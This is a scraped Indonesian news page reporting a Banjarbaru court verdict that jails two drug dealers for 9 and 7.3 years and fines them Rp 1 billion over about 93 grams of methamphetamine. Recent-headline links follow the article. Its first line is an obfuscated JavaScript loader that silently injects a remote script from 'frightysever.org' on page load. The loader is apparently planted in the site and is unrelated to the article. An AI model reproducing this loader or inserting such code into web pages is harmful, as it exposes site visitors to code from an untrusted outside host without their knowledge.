(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Sidang Kasus Bandar Sabu, Majelis Hakim Vonis 9 Tahun Penjara dan Denda Rp 1 Miliar


KANALKALIMANTAN.COM, BANJARBARU– Sidang kasus narkotika bandar sabu dengan terdakwa Herman Bin Rustam dan terdakwa M Qolbi, digelar di Pengadilan Negeri (PN) Banjarbaru dengan agenda pembacaan vonis oleh majelis hakim, pada Rabu (2/6/2021).

Pada sidang yang dipimpin langsung Ketua Pengadilan Negeri Banjarbaru Benny Sudarsono, SH, MH, tersebut, majelis menjatuhkan vonis masing-masing 9 tahun penjara untuk terpidana M Qolbi dan 7,3 tahun penjara untuk terpidana Herman. Keduanya juga dikenai denda sebesar Rp 1 miliar.

Kasus ini menarik perhatian publik, lantaran kedua bandar besar tersebut sebenarnya baru saja bebas sekitar 2 minggu dari Lapas Kotabaru. Dan akhirnya tertangkap lagi di Banjarbaru dengan kasus Narkotika jenis Sabu sebesar 93 gram.

Baca juga : TERUNGKAP. Kasus Mutilasi Perempuan di Banjarmasin Diduga Bermotif Kencan Gelap

Terkait putusan tersebut, Jaksa Penuntut Umum (JPU) Riza Pramudya Maulana yang sebelumnya menuntut 10 tahun penjara menyatakan menerima vonis untuk terpidana satu sedangkan untuk terpidana kedua, masih pikir-pikir.

“Untuk terpidana dua kami masih pikir-pikir,” ujar Riza.

Menurut pertimbangan majelis hakim, bahwa terpidana dua atas nama Herman tidak tahu kalau terpidana satu Qolbi menyembunyikan sabu di rumahnya.

Baca juga : BREAKING NEWS. Polisi Tangkap Pelaku Mutilasi Perempuan di Jl Belitung Banjarmasin

Sebelumnya, polisi menemukan sabu di rumah Herman yang beralamat di Pondok Labu RT.19 RW. 08 Loktabat Utara Kecamatan Banjarbaru Utara. Dalam penggeledahan tersebut terdapat barang bukti yaitu 7 paket narkotika jenis sabu dengan paket besar sekitar 2 buah dan paket kecil sekitar 5 buah total berat sabu tersebut sekitar 93,08 gram. (Kanalkalimantan.com/shintia)

 

Reporter : Shintia
Editor : Cell

 

 


Al Ghifari

Recent Posts

244 Jiwa Terdampak Banjir, BPBD Kalsel Segera Kirimkan Bantuan Tepat Sasaran

KANALKALIMANTAN.COM, BANJARBARU - Badan Penanggulangan Bencana Daerah (BPBD) Provinsi Kalimantan Selatan (Kalsel) terus mematangkan persiapan… Read More

2 jam ago

HMI Banjarmasin Peduli Banjir Salurkan Bantuan ke Warga

KANALKALIMANTAN.COM, BANJARMASIN — Himpunan Mahasiswa Islam (HMI) Cabang Banjarmasin menunjukkan kepedulian sosial dengan menyalurkan bantuan… Read More

3 jam ago

Presma UIN Antasari: Rakyat Adalah Pemegang Kedaulatan Tertinggi

KANALKALIMANTAN.COM, BANJARMASIN — Presiden Mahasiswa (Presma) Universitas Islam Negeri (UIN) Antasari Banjarmasin, Yazid Arifani angkat… Read More

5 jam ago

Wacana Pilkada Melalui DPRD, BEM SI Kalsel: Kemunduran Demokrasi

KANALKALIMANTAN.COM, BANJARMASIN — Badan Eksekutif Mahasiswa (BEM) Seluruh Indonesia (SI) Kalimantan Selatan (Kalsel) menyatakan sikap… Read More

8 jam ago

Disperkim Kalsel Tegaskan Komitmen Hunian Layak untuk Masyarakat

KANALKALIMANTAN.COM, BANJARBARU - Dinas Perumahan Rakyat dan Kawasan Permukiman (Disperkim) Provinsi Kalimantan Selatan (Kalsel) menegaskan… Read More

11 jam ago

Satu Suara, Pilkada Lewat DPRD BEM SI Kalsel Sepakat Menolak

KANALKALIMANTAN.COM, BANJARMASIN – Wacana Pemilihan Kepala Daerah (Pilkada) melalui Dewan Perwakilan Rakyat Daerah (DPRD) menuai… Read More

12 jam ago

This website uses cookies.